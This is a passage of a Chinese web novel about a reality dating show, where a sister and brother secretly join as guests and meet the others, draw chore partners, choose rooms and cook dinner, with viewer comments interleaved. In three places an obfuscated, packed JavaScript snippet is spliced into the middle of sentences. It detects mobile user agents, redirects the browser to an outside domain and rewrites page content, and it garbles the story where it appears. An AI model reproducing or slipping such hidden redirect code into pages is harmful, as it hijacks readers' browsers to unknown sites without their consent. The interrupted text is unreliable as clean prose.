她今天打扮得青春活泼,而青阳穿着黑色无袖上衣,把水放到桌上时自然地挑眉伸手,一股恣意少年气,当即就有cp脑表示: 【这一对,我嗑了!】 【朕亲封你们为日月可鉴cp!】 “你看起来年纪小小的,怎么也来参加恋综呀?” 江识月看着他还有些轻狂纯粹的神态举止,猜测青阳还是个学生。 长得高,又帅得很有攻击性,应该是个天天被挂到表白墙捞的风云人物。 “我年纪小?”青阳掀起眼皮上下打量一遍江识月,觉得面前这个穿着短裙踩着板鞋的女孩应该和自己一样大。 她都来参加了,自己在这里也不奇怪吧?而且…… “为了钱。”节目组真的给得很多。 江识月:“嗯?” “对啊,”青阳又靠进沙发里,漫不经心地说:“招募公告上说的,如果能在揭露手足关系前隐藏好身份,在投票时被最少人猜中的手足可以拿到翻倍出场费。” 他想要那笔钱。 “难道你不是为了钱来的吗?” 不是哥们?你就这么大大咧咧的问出来了? 江识月瞪大眼睛看一眼旁边的摄像头。 这是可以说的吗? 卢点雪你这个无剧本、无剪辑、无演员的三无综艺,是真让嘉宾自由发挥啊?! “不是啊,我是来恋爱的。” 她真诚地回答,然后得到青阳疑惑的眼神。 他再次认认真真地观察一遍江识月。 皮肤白净,眼睛有些圆圆的,瞳孔颜色浅淡,所以格外清澈明亮,鼻子挺翘,双唇红润,笑起来阳光甜美让人心软。 这样的人会缺对象?青阳宁愿相信她是想出道,所以来节目营销造势。 “那祝你顺利。” “谢谢。” 随后是尴尬的沉默。 沉默。 “咳咳……” 江识月和青阳你看我一眼,我看你一眼,齐齐笑出声。 “看看入住指南吧。”青阳把面前的纸张递给她。 1.不可以暴露职业、年龄、真实姓名,尽量隐瞒手足关系。 2.入住者每天晚上共进晚餐。 3.允许除告白以外任何表达心意的手段。 4.入住者两两(异性)组队值日,轮流负责小屋的当日家务及饮食。 饮食?! “它的意思是,我们要自己做饭对吧?” 青阳不以为意地点头。 这么淡定? “你会做饭吗?”江识月满眼期待。 很抱歉,她是个十指不沾阳春水的大小姐。 在家的时候有保姆阿姨,在外上学可以吃食堂或者点外卖,要是有空闲,去餐厅吃饭也很方便。 小时候倒是在劳动课跟着老师学做过几道家常菜,但这么多年过去也早就生疏。让她来负责饮食,怕不是要把大家饿扁。 一定要和一个会做饭的人组队!江识月立下目标。 看着面前女孩期盼的眼神,青阳咧嘴轻笑,答道:“我会啊。” “那我们组队好吗?带带我!”江识月把手放到膝盖上,身体前倾,语气里带着祈求。 “带你?”青阳摩挲下巴,装作很为难的样子。“我为什么要带你呀?” “因为我会很听话!你让我洗青菜就洗青菜,让我端碗筷就端碗筷!” 呵,切菜洗碗也不会,都让他来是吧? 青阳心里发笑,勉为其难地点头:“这么听话?那我带带你好了。” 【她就这么相信男一会做饭了?】 【恕我直言,他们两个看起来都像是家务废。】 【看男一那一头黄毛,看那一排耳钉,看他懒懒散散靠在沙发上的样子,他真的眼里有活儿吗?】 “叩叩。”弹幕在为两人操心的时候,玄关传来敲门声。 有新的嘉宾到了。 江识月和青阳站起身一起去开门,然后看到一个双开门。 【好大!】 【好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585435|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大!!】 【好大!!!】 好大一个人! 江识月打开门的第一眼就看到新嘉宾鼓鼓囊囊的肌肉。 面前的男人穿着普通的白T恤,胸肌却把这身衣服撑出了紧身衣的效果。 个子很高,得有一米九以上,江识月抬头看他时感觉自己在看一头熊。 这头“熊”长得很硬朗,不做表情时有一种严肃的感觉,甚至有点凶,但看到来开门的江识月和青阳时就扯开了笑容打招呼。 “你们好。” 江识月&青阳:“你好。” “请进。” 两人退到一边让新嘉宾进屋放行李。 “感觉一拳能把我们俩锤到墙上,抠都抠不下来。” 江识月掩着嘴角和青阳窃窃私语,眼睛还在看男人拎起行李箱时手臂隆起的肌肉。 青阳嗤笑一声:“捶我干嘛?锤你就好了,我又没有一直盯着人家看,眼珠子都不转一下的。怎么?喜欢这个类型?” 一连串的话都秃噜出来,惹得江识月瞪他一眼。 “干嘛?我没看你,你吃醋了?” 才见面没一会儿就已经开始斗嘴。 - 三个人在客厅坐下,青阳依旧坐在侧边的单人沙发,江识月和男人坐在靠墙的长沙发。 江识月骨架小,坐在他身边更显得男人魁梧壮硕。 照例是互通姓名,男人说:“叫我平川就好,一马平川的平川。” 应该是波涛汹涌才对吧…… 江识月多次按捺,视线还是忍不住往他身上跑。 她的交友圈子里没有这样身材的人,自己大概也练不出这样的肌肉,不知道贺听风可不可以?这样发达的肌肉和普通人相比手感会有何不同? 恋综结束之后就去督促哥哥健身! 青阳和平川寒暄着,看一眼神游天外的江识月,眯一下眼睛,站起身走到平川的身边握拳在他肩头锤一下。 “你肌肉练得真好!” 平川:“谢谢,就是平时喜欢打拳,打多了就练出来了。” “难怪,胸肌也很厚!”青阳伸手在他胸口拍拍,拿眼睛瞥江识月。 看我干嘛? 江识月回过神来,疑惑地盯回去,然后听到他说:“江月眼睛都收不回去了,是不是想摸摸?” 啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!! 这是污蔑!!!!! 江识月诧异地伸手指着自己,青阳还一副“哥帮你,不用谢”的表情。 【好兄弟!你是真给女一谋福利!】 【等等,男一女一不会是手足吧?】 【很有可能,只有亲手足才会这么欠!】 【不要吧!小学鸡的爱情也很好嗑啊!不要让我嗑的cp变兄妹啊!】 【快看快看!男二耳朵都红了,会害羞的男妈妈!我喜欢!】 平川手足无措地看一眼江识月,瞬间红温。 不巧,江识月不是什么脸皮薄的人,看他脸红反而觉得有趣,殷切地问:“可以摸摸吗?” “……”平川躲着她亮晶晶的眼神,迟疑点头。 那我不客气啦! 江识月伸手在他手臂上捏捏,发出由衷的赞叹:“是软的耶!” 然后被青阳握住手腕,把掌心印到平川的胸膛。 “这里更软。” 这里就有点越界了。 江识月瞪他一眼,挣扎着想要移开手,但力气抵不过青阳,反而把那块肌肉揉得变形。 平川已经害羞到快冒蒸汽,身体下意识绷紧,原本弹软的手感变得坚硬。 “哇!”有趣! 江识月小声赞叹,同时听见门口传来诧异的声音。 “你们在做什么?!” 5. 哥哥出场! 江识月循声望去,一位穿着蓝色衬衫裙的知性美人正站在玄关看他们三个,嘴唇微张,表情惊讶。 再看看自己这边,她坐在平川旁边,手放在人家的胸口按揉,青阳站在另一边,躬身来拽她的手腕。 而平川本人……感觉已经快要离开这个美丽的世界。 “咳咳。”青阳僵硬地收回手,背到身后,眼睛左看右看,脚踢一下地板瓷砖,突然变得忙碌。 江识月站起来和新嘉宾打招呼:“你好。” “我就是有些好奇这样健壮的肌肉会是什么手感,”她比了个大拇指,表示:“而平川哥恰好富有且大方。” 愿意让她摸摸,简直是男菩萨! 知性美人视线在他们之间转一圈,点点头:“这样啊~” “你们好,我叫宋慈,仁慈的慈。” 落落大方。 江识月拉着宋慈坐到一起,张口就是夸赞:“你好漂亮!” 她长着鹅蛋脸,五官并不是浓艳的类型,但目光柔和,透着一股书卷气。 “谢谢,你也很美。”宋慈伸手轻拍江识月的肩膀,语调轻柔。 江识月小时候有一段时间特别想要一个姐姐。会柔声细语和她说话,身上香香软软,穿着漂亮裙子…… 但爸妈给她带回一个哥哥就已经是意外之事,不可能再给她变出一个姐姐,她为此撒泼打滚好几天。 思及幼时糗事,江识月眉头微皱,在心里狠狠嫌弃自己,起身去给温柔姐姐倒水喝,和人闲聊。 从外面天气多少度,到裙子自带的口袋能装多少东西,客厅里一时之间只有两人的交谈声。 很快外面又走进一个人。 “你们好,我叫白起。” 【哇——】 【长发冷脸大帅哥!!!】 【呜呜好幸福,颜狗大饱眼福!!!】 【帅哥给自己取名叫白起,是游戏迷还是历史迷?感觉都不太像呢。】 与在场其他两位男士的短发不同,白起头发很长,几乎垂到腰间,穿着宽松的白色上衣和灰色棉麻阔腿裤,一股文艺范儿。 他睫毛浓密眉眼深刻,双唇殷红,略薄,是秾艳的长相,可是垂眸与大家问好时却透露出几分清高冷淡。 像一朵冷艳的玫瑰。 这朵冷艳的玫瑰和大家打过招呼之后不再多话,在角落安静坐下。 【好沉默的男嘉宾啊……】 【这是恋综哎!你们都不和异性嘉宾交流的吗?】 【不和异性嘉宾交流也就算了,他们互相之间也不说话!】 【新来的是个冷脸美人,他不主动我理解。】 【平川可能怕又被抓去摸胸肌,不敢出头,我理解。】 【可是青阳怎么回事?他之前和江月聊得挺开心的呀!怎么现在也不说话了?】 【好像是从宋慈进来就开始沉默了,难道宋慈是他的理想型?所以开始害羞收敛?】 【那很好嗑了!痞帅弟弟和知性姐姐!】 【我不同意!我站日月可鉴!】 【凭什么!大家都是嗑cp的,你不同意没用!】 弹幕还在争论,外面又走进来两个人。 这次是两位女性。 右边的个子稍微矮一些,长相秀气,眼睛水汪汪的。 穿着白色吊带裙,肩上披薄荷绿披肩,右手打着石膏挂在身前,是楚楚可怜的病弱小白花。 左边的则很健壮,头发比青阳的长不了多少,穿着莓红色运动背心和黑色工装裤,走酷帅风格。 她一手拎一个行李箱,手臂肌肉流畅有力,江识月可以透过贴身的上衣隐约看见她小腹的马甲线和腹肌轮廓。 好帅!好美! 感觉眼睛都要忙不过来了! 一会儿看看小白花,一会儿看看酷姐,看完了还要扫一圈客厅里坐着的这几个。 如果0901要求的心动值是她的心动值,江识月觉得她今天就可以把进度条刷满! 哪里会像现在这样,江识月伸手碰碰耳垂上的小方块,撇撇嘴巴。 这家伙到现在还没出过声呢! “喂,”坐在旁边的青阳终于从沉默中脱离,手肘戳戳江识月的手臂,说: “看男的也就算了,看女孩儿你也能看呆?” 江识月没好气地回答:“好看啊!不漂亮吗?和你这个心里只有钱的人没话好说。” 嘿!他就是随口说一下,江月就开始攻击人是吧?! 青阳冷哼一声:“收敛点吧,这里是恋综,不是你的后宫,口水都要流出来了。” 你才流口水! 江识月朝青阳呲牙,懒得再和他互怼。 “你们好,我叫知然,‘知其所以然’的知然。”小白花走过来,浅浅笑着。 “沈云,白云的云。”酷姐随手抓一下自己被风吹得凌乱的头发,挑眉问好。 平川起身坐到白起旁边,给新来的两人留出宽敞空间。 这下女孩儿们就都坐在中间的长沙发上,青阳独自坐在靠落地窗的单人沙发,平川与白起则坐在青阳正对面。 再看女孩儿们的位置,江识月坐在最里面,右手边就是青阳,自她往左依次是宋慈、知然、沈云。 江识月向前倾身,隔着宋慈问知然和沈云:“你们怎么一起来的呀?” 她以为嘉宾们只能按顺序一个一个入场呢! “我走得比较慢,沈云从后面追上我了,还帮我拿行李。”知然歪着脑袋,用左手梳理着自己有些凌乱的头发。 “海边风好大,我一路走过来头发都吹到脸上了。” “我帮你绑起来吧,有发圈吗?”宋慈见她不方便,提出要帮忙。 知然:“在行李箱里。” 闻言,江识月摘下绑在自己发尾的发圈递过去。 “先用我的吧?” “怎么伤着右手,很不方便吧?”怕扯着发丝让人疼,宋慈手里动作小心,嘴上还关切地询问。 “没办法,上班时出了点意外,就变成这样了。”知然苦笑着,更显得柔弱可人。 江识月心都软了,说:“那你后面有什么不方便的事情要和我们说哦,我们帮你做。” 一旁沉默围观的四个人也纷纷点头。 【呜呜,大家人真好。】 【生活中哪里有那么多坏人,节目抓马都是因为有剧本和恶意剪辑!】 【当然好啦!毕竟里面还藏着自己未来心上人的手足呢,要是一不小心得罪了,后面约会追人可不得经历九九八十一难?】 【说到约会,他们这里现在还少一个人吧?】 客厅里也有人注意到这一点。 沈云挺直腰背坐在沙发里,眼神扫视一圈,说:“我们是不是还差一位男嘉宾? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585436|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 是啊,还差我哥。 江识月在心里回答,面上却一本正经地数人数,说:“是还差一个,但应该快来了吧?” 贺听风居然是最后进场的,在船上等这么久,他手里那本书应该都要看完了,后面的她还没读到呢! 江识月在心里捉摸着,打算让他有空的时候陪自己再看一遍。 知然伸手摸一下自己头上新编的鱼骨辫,说:“不知道会是什么样的人,有点期待。” 宋慈微笑:“节目组把他安排在最后的话,应该是个很特别的人。” 青阳撇嘴:“能有多特别?长三只眼睛?” 江识月:……等下我要说给我哥听。 “咔哒。”门口传来锁舌转动的声音,一直关注着那边的江识月下意识探头去看,恰好与贺听风隔着众人对视。 客厅里人越来越多,江识月坐在长沙发最里面的位置,被人们遮挡了大部分身体,可贺听风还是一眼就看到她。 似乎和大家聊得很开心,脸上的笑还没落下去。 出门前给她编的头发散开了,微微弯曲着搭在肩头,更显得温柔可爱。 他一点点检查江识月在离开自己的这段时间里都有些什么变化。 见哥哥盯着自己,江识月一脸疑惑地看回去,假装因为陌生人的注目而感到困惑。 别看啦!要暴露兄妹身份了! 好吧。 贺听风读懂她眼神里的含义,抿嘴笑起来,若无其事地转移视线,和客厅里的人打招呼。 “你们好,我是贺风。” 【哇!!!】 【果然是很特别的帅哥!!!】 【是很特别,穿得特别多。】 【笑得也很好看啊!感觉他出场需要配一个一眼万年的BGM】 【他看了江月好久!一见钟情?】 【可是万一他们在演呢?假装喜欢对方,借此掩盖手足关系。】 【那这也太会演了吧!没见过哪对兄妹能对视这么久还不笑场的,他们还都是素人。】 【我也猜他一见钟情!一般这种需要隐瞒关系的场合,当事人都会下意识躲避对方的视线,或者避免同时在场,那样太容易露出破绽了。他们肯定不是兄妹!】 【赞同!】 【复议!】 贺听风放好行李箱走过来,刚在白起身边坐下就听见沈云问:“你穿这身不热吗?连袖子都不捋起来的。” 今天气温高,大家都穿得轻薄,沈云来的路上就已经在为自己出门时穿了长款的黑色工装裤而感到后悔。 又厚又吸热,出了一身汗。 可贺听风比她还厉害,穿的是长袖衬衫和米色西装裤。这套穿搭颜色倒是清爽,但也只是看起来而已。 贺听风低头看一眼左手手臂,回答:“还好,习惯了。” 这身衣服是江识月给他搭的,扬言说衬衫西服最能展现哥哥的气质。 她倒是想给他穿短袖衬衫,凉快一些,可贺听风没有,最后穿了这一身。 思及江识月苦恼的样子,贺听风又忍不住去看她,可对方这次却没注意到自己的视线。 江识月皱着眉,一只手伸到耳侧按住挂在耳垂上的小方块,若有所思。 安静了快一天的0901在刚才终于出声,说: “心动值+1,当前心动值总计为10。” 6. 组队和选房 【有一说一,贺风虽然穿得多,但还是很好味啊!】 【宽肩窄腰身姿挺拔,不像平川那样猛,比青阳更成熟,气质正派又温柔,温文尔雅的中式帅哥我爱吃!】 【别拉踩!我就喜欢平川这样的男妈妈!】 【轻狂少年也很好啊!和青阳相处很轻松很有趣!】 【白起这样的冷脸美人,嘿嘿……动情的时候一定很漂亮!】 【女嘉宾更是各有千秋,江月活泼甜美,宋慈温柔知性,知然弱柳扶风,沈云飒爽帅气,感觉随便两个组一起都很好嗑,不知道他们今天的心动短信会怎么发,我好急!】 【我觉得贺风江月稳了,江月去洗手间的这会儿,贺风时不时就要转头看看人回来没有,这不是爱是什么?】 【可是江月看上去更喜欢青阳,他们看起来年纪也更接近,更有共同话题。】 【但青阳之前说他来综艺只是为了双倍出场费,这个无情的男人。】 【又不妨碍他恋爱,可以两个都要!】 弹幕议论纷纷,而在洗手间的江识月正对着0901皱眉审问。 “你出bug了?一整天不说话,出来就是10个心动值,上哪儿来的?” 她讨厌事情不受自己的控制。 谁动了心?她做了什么以至于对方心动? 0901不提示心动值来源也就算了,连及时通报都做不到,这种捉摸不透的感觉让人烦躁。 如果不能确定谁可以为她提供最多的心动值,她没办法决定后面几天在哪位男嘉宾身上花费更多时间。 0901被江识月摘下放在洗手台上,拖着链子往前蹦跶两步,机械地解释: “很抱歉,系统经过时空来到这里,内部运行程序受到影响出现错误,未能及时通知。” “现在已经调试完成,之后不会再出现类似情况。” 0901绑定自己已经一周时间,整整七天都不够它调试的? 江识月不信它的鬼话但又没办法,只能反复确认:“你不会出现检测错误,事后又倒扣心动值的情况吧?” 要是后面集齐了心动值,这家伙又找借口扣掉,她真的会疯。 0901:“不会的!这点我可以保证。” “你最好是。”江识月语气冷淡地说,然后拎起0901问它:“可以碰水吗?” “可以的,系统外壳做了防咕噜噜……” 话没说完就被放到水龙头底下冲洗。 刚才碰过洗手台,江识月觉得有些膈应,冲洗擦干之后才把0901戴回耳垂上。 绝不是借机撒气。 擦干手,把按了静音的麦克风打开,江识月开门离开洗手间,带着笑容回到摄像机拍摄范围内。 人到齐了,节目组把准备好的手机、任务卡和两个抽签盒端出来。 为避免大家通过网络或是亲友外援了解到其他人的手足情况,手机做过特殊处理,只能联系嘉宾和工作人员,是纯粹的通讯工具。 江识月接过手机,通讯录已经存好大家的号码,她熟练地把贺听风设置为置顶。 任务卡放在桌上,青阳是个急性子,主动拿起来读。 “亲爱的嘉宾们,爱情之旅已经开始,接下来大家将在恋爱小屋度过一段美妙的时光。为维护小屋良好环境,请大家通过抽签组成值日搭档,轮流负责小屋的卫生及三餐。” 读完,脱口就对工作人员说:“我和江月不抽,直接安排我们一组就好。” 【啊啊啊啊啊啊啊啊!!!】 【他好勇啊!!】 【他知不知道在恋综上说这样的话和告白没差别!!!】 【其他六个人都惊到了,眼神一下子都聚过来看他们呢!】 【快看贺风!他的笑容都挂不住了,表情变得好危险。】 但只有一瞬罢了。 在更多人关注到之前贺听风收敛起自己微不足道的妒忌,微笑着说:“还是要遵守游戏规则比较好吧?” 青阳皱眉看向他,觉得这家伙真奇怪。 自己和江月组队碍着他什么了吗?要出口阻拦。不对,确实会有妨碍到,如果他喜欢江月的话! 而江月与自己说过,她来恋综是为了恋爱,尽管他并不十分相信,但贺风长得不错,就外貌而言与她还算相配。 青阳转头看向江识月,想看看她是否也有意,却发现对方神情有些抗拒。 不喜欢这个类型的? 青阳自认已经是江月的朋友,为朋友排忧解难挡烂桃花是他的责任。 “这又不是要区分冠亚军的比赛,破例一次没关系吧?”他说。 贺听风也注意到江识月的不乐意,轻点头表示:“也是,那你们俩组队吧。” 才离开哥哥不到两个小时,就交到这样要好的,可以依靠的异性朋友了吗? 他沉默着垂眸。 【呜呜,第一战,贺风惨败!】 【没办法呀,他来得太晚,江月和青阳都约好一起了。】 【看来江月更喜欢青阳呢!日月可鉴是真的!】 【发现江月不乐意就立刻放弃争取,好温柔啊,怜爱了。】 贺听风妥协,青阳又问过其他人的意见,得到“同意”的答案后就要从抽签盒中挑一对签出来。 “嘉宾不可以自行组合!请按照规则抽签组队。”和摄像师一起蹲守在旁边的导演突然出声制止。 啧。 青阳挑眉看一眼导演,伸手隔空轻点对方两下。 “行啊,我们遵守规则。”然后对江识月撇嘴摊手。 江识月叹一口气,继续许愿自己可以匹配到会做饭的搭档。 不要和贺听风一起啊!!! 她哥和她一样,从小到大娇生惯养没做过饭的!!! 哥你为什么要出声制止啊!你不提意见的话,说不定节目组会同意呢! 江识月趁大家不注意的时候,幽怨地看一眼贺听风,得到他心虚回避的眼神。 青阳从给男嘉宾准备的盒子里抽出一张纸条,展开。 “三号。”他在江识月眼前展示一下自己的号数,说:“加油,希望你也抽到三号。” 站在一旁的宋慈看着他们互动,笑着问:“江月先抽?” 啊……这决定大家饮食水平的一刻。 江识月做一个深呼吸,仿佛给自己鼓足了勇气。 “我先!” 她眼睛一闭,把手伸进抽签盒捞到一张纸条,果断拿出来。 “快看看!是几号呀?”知然凑上来询问。 江识月睁开一只眼睛,手小心翼翼翻开纸条,从侧面看一眼又迅速合上。 “唉……” “啊……”听到江识月叹气,知然也跟着发出失望的声音。 “是三号欸。”江识月幽幽地说。 ?! 知然带着埋怨地看她一眼,说:“耍我呢?” “嘻嘻,看你和我一样期待,逗逗你嘛。” 江识月把脸凑到她面前撒娇,然后被推着肩膀赶去旁边。 知然:“快去你的搭档那里吧,别挡着我们抽签。” 最后的抽签结果是: 第一组,宋慈和白起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585437|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ; 第二组,知然和贺风; 第三组,江月和青阳; 第四组,沈云和平川。 完蛋,江识月心想:贺听风不会做饭,知然右手受伤不能干活。 他们这对可怎么办呀! “又发什么呆?”青阳并起手指敲敲江月的脑袋,说:“走了,去选房间。” 恋爱小屋有三层,卧室在二三楼,一共八个房间,采光通风都不错,分不出优劣参差。 在家时是住在三楼,这次江识月打算选一个二楼的房间。 “有人想要这间吗?没有的话我想住这里。”她指着靠近楼梯的一间房问大家。 没人有意见。 贺听风往里走一点,指着隔壁一间,说:“那么,或许我可以住在这里?” 然后弹幕炸了。 【我收回前面怜爱你的话!】 【开始抢起来了吗?第一天就这么刺激!】 【先是试图阻止江月和青阳组队,现在又要住在人家隔壁!狼子野心!!】 【就喜欢这种勇于进攻的!冲呀!打起来!!!】 【问自己能不能住在这里的时候,眼睛一直盯着江月,其他人的意见完全不重要是吧?(手动狗头)】 【不能组队做搭档,就要住在隔壁近水楼台先得“月”是吧?】 【好小子,看起来温温柔柔的,进攻性这么强?】 青阳皱眉看一眼贺听风,觉得这家伙太没边界感。 总是黏着江月做什么?就算是恋综,就算他喜欢江月,但第一天就要这么咄咄逼人吗? “这个房间我也很喜欢”青阳说。 江识月一会儿看看哥哥,一会儿看看青阳,再看一眼房间。 这间房这么受欢迎吗? “那……你们猜拳?” 青阳:“好啊,一局定胜负。” 贺听风胜。 男人收回手,浅笑着说:“看来这次是我的运气比较好。” 青阳哼笑一声,指着贺听风房间正对面的卧室,说:“我住这间。” 最好不要做出什么出格的事!他会一直盯着的! 不对劲,江识月看一眼剑拔弩张的两人。 这很不对劲,贺听风今天怪怪的,像是在圈地盘一样阻止她和别人接触。 为什么? 江识月还没来得及更深地思考缘由,就听到站在旁边的知然说:“我想住江月对面!” 语气里带着兴奋和激动,眼睛在江识月、贺听风、青阳三个人之间来回看。 贺听风这样看上去像是想和她恋爱! 福至心灵,江识月在知然八卦的眼神中骤然意识到这一点。 她下意识看一眼哥哥,对上他温柔的目光。 啧,又是这种看狗都深情的眼神。 搞不懂贺听风这样做的目的,现在又不是询问的时机,江识月只好按下不表,跟着大家继续走上三楼。 都选好房间后,各自的行李也可以开始收拾整理。 要在这里住很多天,大家的行李箱都是最大规格,塞得满满当当。 贺听风不动声色地走近江识月,说:“我帮你拿行李上楼?” “好啊,谢谢。”她客气地道谢,假装彼此不熟悉。 青阳从后面过来,直直地从两人中间穿过,把他们分开,去墙角拎起江识月的行李箱就走。 “我帮她拿就好,你还是多多关注你的搭档吧!” 一旁的知然嘴角压都压不住,拢一下自己的披肩,走到江识月旁边挽她的手,对贺听风说:“麻烦你了?” 7. 心动书笺 收拾完行李时间已经过了六点,是时候该准备晚饭。 第一天入住,值日计划还没正式开始,今天的晚饭是八个人一起合作。 “需要我做什么吗?”江识月端着刚择好的青菜过来,在青阳身边探头探脑,看他把焯好水的排骨倒进炒锅,瞬间油花四溅。 “哇!”她瑟缩后退,差点撞到旁边切菜的平川。 恋爱小屋的厨房是开放式的,很宽敞,但一群人围在一起忙碌还是免不了拥挤。 青阳手里翻炒的动作不停,随口吩咐:“需要你安分点,去找个位置坐着别动。” 哼!坐着就坐着! 宋慈和沈云把需要处理的蔬菜收拾好递给负责洗菜的贺听风和白起后,江识月就拉着两人走到因为手受伤而站在一边旁观的知然身边,一起监工。 做饭的事用不上她们,闲着也是闲着,导演趁机递上任务卡。 “鸿雁传书: 各位女嘉宾房外已经挂上小信箱,请大家写下想要送给心动对象的信并叠成千纸鹤,投递至你认为可能是心动对象手足之人房外的信箱中。 请注意:信件不可以署名,也不可提及心动对象的姓名。 投递过程中请保持隐蔽,不要被他人(包括即将拿到千纸鹤的人)知道信件出自你手。 投递前请面对镜头展示书信内容,并说明希望谁收到这只千纸鹤,将投递到谁的信箱,以及作此决定的原因。” 整这些花里胡哨的把戏。 读完任务卡,江识月嫌弃地把它放到桌上,转头就问宋慈:“你会叠千纸鹤吗?” 她不爱做手工,没叠过。 宋慈还没回答,给锅里倒料汁的青阳就开始搭话:“你居然不会叠千纸鹤?上学时没给喜欢的男生送过吗?” 青葱校园里的学生最不缺浪漫与巧思,不少女孩子在对喜欢的人示爱时,选择写下一张张满含心意的信纸,叠成星星或是飞鹤,装进罐子送到对方面前。 江识月没追过人,没经验。 “你上学时送千纸鹤给喜欢的男生了?”她觉得青阳倒是很有经验。 青阳:“……嘴这么厉害,你的千纸鹤怕不是也会咬人。” “我也不会,太久没叠都忘记了。”宋慈听着两人的交谈,笑得眼睛弯成月牙。 沈云也摇头。 倒是知然举起左手表示自己会,说:“我教你们。” 江识月看一眼她的右手,问:“你受伤了还能折纸和写信吗?” 她以为这项任务会由工作人员帮她完成! 知然:“没关系,我以前练习过左手写字,折纸的话可以用右手辅助一下,不使劲就行。” 于是一群人找节目组要了多余的彩纸,围在知然身边学做手工。 【好像上学的时候大家围在一起折星星折千纸鹤啊!】 【我以前还给暗恋的男生做过千纸鹤风铃,结果转眼他就把风铃扔进垃圾桶……】 【如果对方不喜欢你,这些东西也只是美丽废物罢了,放着还占位置。】 【但扔垃圾桶好过分,一片心意啊,不喜欢的话还回去也可以吧?】 …… “学会啦!”在知然的耐心教学下,江识月终于完成人生第一只千纸鹤。 “走吧,我们上楼去写信。” 四个人亲亲密密地往楼上走,贺听风侧头看她们一眼,把手里清洗过的菜放进沥水篮,倚着流理台看向餐桌。 四只颜色各异的千纸鹤被遗忘在桌上,其中一只粉色的纸鹤站立着,振翅欲飞,旁边还散着没用完的彩纸。 “我去把桌上收拾了。”贺听风说。 他走到餐厅把桌上散乱的纸张收拢,四只千纸鹤被拎起来放到彩纸上,捧进吊柜里放着。 安置好它们,又回到厨房。 厨房有两个灶台,青阳在一旁忙碌,平川也开始倒油下锅,贺听风站在不会妨碍对方的位置陪伴。 “现在没什么事,我和青阳炒好菜就能开饭了,你们去休息吧。”平川让他和白起不用在旁边守着闻油烟。 白起从善如流地离开,贺听风却摇头,说:“我偷一下师。” 平川诧异:“你不会做饭?” 贺听风无奈点头。 不会做饭的人偏偏和受伤的人组成一队,平川都要为他的运气叹惋了。 “那轮到你和知然值日的时候我帮你们吧。” “多谢,我也趁此机会学一下,总不能一直都不会。” 别人的帮助是善良与好心,却不是自己可以长久依靠的。 更何况,他想以后也能让识月尝尝自己做的菜。 他不曾为妹妹做过一餐一食,贺听风猛然意识到这一点,心中生出羞愧。 “做饭不难,只要你别灵机一动往里面加什么乱七八糟的东西,严格按照步骤来,成品味道不会差。” 油温升高,平川往锅里下葱姜爆香,给贺听风一步一步讲解。 “我现在做的是肉末土豆丁,土豆提前焯水三分钟,葱姜爆香后先下肉末,厨房有绞肉机,我之后教你用……” 江识月下楼时看到的就是她哥哥站在平川身边认真听讲的画面。 不懂的地方仔细询问,手里拿着手机不时敲打几下,大概是在记笔记。 从小到大,贺听风在她面前都是充当老师的那个人,现在这幅好学生的模样实在难得。 江识月想点开相机记录下来,打开手机锁屏时又意识到还得隐瞒手足关系,悻悻放下。 回头直接找导演要视频吧。 “你怎么这么快就下来了?”青阳刚盛出一盘菜,看江识月已经下楼,便问她。 江识月:“我写好了呀。” 青阳:“这么快,不会就写了两个字吧?” 纯粹是污蔑!但现在不能暴露信纸里的内容,江识月只对他耸耸鼻子就算了事。 “这些菜我端过去咯?”她端起流理台上装满菜的盘子往餐桌走。 等所有的菜都出锅,宋慈她们也做完任务陆续下楼。 “哇!这么丰盛!” 节目组准备了足够的食材,又有大家一起帮忙备菜,青阳和平川掌勺,做了四荤三素,还有一份三鲜汤。 “吃饭吃饭!我好饿!” 和白起给大家把饭添好,江识月招呼他们赶紧坐下动筷。 在追直播的观众也早已垂涎三尺。 【糖醋排骨、番茄牛腩、香芹虾仁……都是我爱吃的菜啊!】 【碗里的减脂餐突然不香了QAQ】 【青阳居然真的会做饭,而且手艺很不错!】 【大馋丫头别管那些菜了!贺风青阳又开始了!】 【贺风他真的,好会争一男的。非常自然地就坐到了江月身边,还给人舀汤。】 【就是就是!给江月舀了之后才问其他人:“你们要喝汤吗?”】 【好明显的区别对待!】 【有点霸道欸,他都不先问江月想不想喝,万一人家不喜欢呢?你们看她都没动汤碗!连话都懒得和他说。】
